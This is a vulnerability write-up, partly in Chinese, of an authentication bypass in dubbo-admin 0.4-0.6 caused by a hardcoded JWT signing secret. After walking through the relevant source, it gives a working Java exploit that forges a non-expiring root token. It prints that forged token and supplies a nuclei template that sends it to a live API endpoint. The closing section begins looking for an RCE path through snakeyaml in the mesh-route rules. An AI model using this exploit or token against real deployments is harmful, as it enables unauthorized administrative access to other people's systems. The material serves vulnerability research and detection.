Affected versions dubbo-admin 0.4-0.6
0x01
analyze
org/apache/dubbo/admin/controller/UserController.java#login()
1 2 3 4 5 6 7 8 9 10 11 12
public String login (HttpServletRequest httpServletRequest, HttpServletResponse response, @RequestParam String userName, @RequestParam String password) { ExtensionLoader extensionLoader = ExtensionLoader.getExtensionLoader(LoginAuthentication.class); Set supportedExtensionInstances = extensionLoader.getSupportedExtensionInstances(); Iterator iterator = supportedExtensionInstances.iterator(); boolean flag = true ; if (iterator != null && !iterator.hasNext()) { if (StringUtils.isBlank(rootUserName) || (rootUserName.equals(userName) && rootUserPassword.equals(password))) { return jwtTokenUtil.generateToken(userName); } else { flag = false ; } }
JAVA
1
直接确定用户名和密码填写即可,然后获取jwtToken
TEXT
org/apache/dubbo/admin/utils/JwtTokenUtil.java#generateToken()
1 2 3 4 5 6 7 8 9 10
public String generateToken (String rootUserName) { Map claims = new HashMap <>(1 ); claims.put("sub" , rootUserName); return Jwts.builder() .setClaims(claims) .setExpiration(new Date (System.currentTimeMillis() + expiration)) .setIssuedAt(new Date (System.currentTimeMillis())) .signWith(defaultAlgorithm, secret) .compact(); }
JAVA
那么这里是jwttoken的处理方式,包括认证时间、过期时间、用户名。
org/apache/dubbo/admin/utils/JwtTokenUtil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
* Jwt signingKey configurable */@Value("${admin.check.signSecret:}") public String secret;/** * token timeout configurable * default to be an hour: 1000 * 60 * 60 */ @Value("${admin.check.tokenTimeoutMilli:}") public long expiration;/** * default SignatureAlgorithm */ public static final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;
JAVA
该类定义了固定的秘密、过期、默认算法。现在我们知道了加密方式,我们就可以使用假jwt来登录绕过了。
org/apache/dubbo/admin/authentication/impl/DefaultPreHandle.java#authentication()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
22 23 24 25 26 27 28 29
public boolean authentication (HttpServletRequest request, HttpServletResponse response, Object handler) { HandlerMethod handlerMethod = (HandlerMethod) handler; Method method = handlerMethod.getMethod(); Authority authority = method.getDeclaredAnnotation(Authority.class); if (null == authority) { authority = method.getDeclaringClass().getDeclaredAnnotation(Authority.class); } String token = request.getHeader("Authorization" ); if (null != authority && authority.needLogin()) { //check if 'authorization' is empty to prevent NullPointException if (StringUtils.isEmpty(token)) { //While authentication is required and 'Authorization' string is missing in the request headers, //reject this request(http403). AuthInterceptor.authRejectedResponse(response); return false ; } if (jwtTokenUtil.canTokenBeExpiration(token)) { return true ; } //while user not found, or token timeout, reject this request(http401). AuthInterceptor.loginFailResponse(response); return false ; } else { return true ; } } }
JAVA
这里可以分析一下,从Authorization中获取jwt,然后确定过期时间。现在我们有办法对其进行加密,就是针对一个长期不过期的jwt。
0x02 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
package org.apache.dubbo.admin.controller;import io.jsonwebtoken.Jwts;import io.jsonwebtoken.SignatureAlgorithm;import java.util.Date;import java.util.HashMap;import java.util.Map;public class jwt { public static String generateToken (String rootUserName) { String secret = "86295dd0c4ef69a1036b0b0c15158d77" ; Long timeStamp = 9999999999999L ; Date date = new Date (timeStamp); final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512; Map claims = new HashMap <>(1 ); claims.put("sub" , rootUserName); return Jwts.builder() .setClaims(claims) .setExpiration(date) .setIssuedAt(new Date (System.currentTimeMillis())) .signWith(defaultAlgorithm, secret) .compact(); } public static void main (String[] args) { String root = jwt.generateToken("root" ); System.out.println(root); } }
JAVA
In this way, you can get root’s jwt.
Calculate and get
1
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
JWT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
id: dubbo-admin_Unauthorized_bypass info: name: Template Name author: severity: medium description: dubbo-admin Unauthorized access bypass reference: - https:// tags: apache,dubbo-admin requests: - raw: - |+ GET /api/dev/consumers HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Authorization: eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Referer: http://{{Hostname}}/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close matchers: - type: word part: header words: - 'HTTP/1.1 200 '
YAML
A poc of nuclei. You can quickly verify permission bypass.
0x03 尝试找rce点
pom里面有snakeyaml。
自然想到yaml.load()。
org/apache/dubbo/admin/common/util/YamlParser.java
最后找到这两个,可控的地方。
我门跟一下下面的
org/apache/dubbo/admin/service/impl/MeshRouteServiceImpl.java
可以看到是检查mesh的规则。
找一下调用,发现在创建规则和更新时都会触发。
org/apache/dubbo/admin/controller/MeshRouteController.java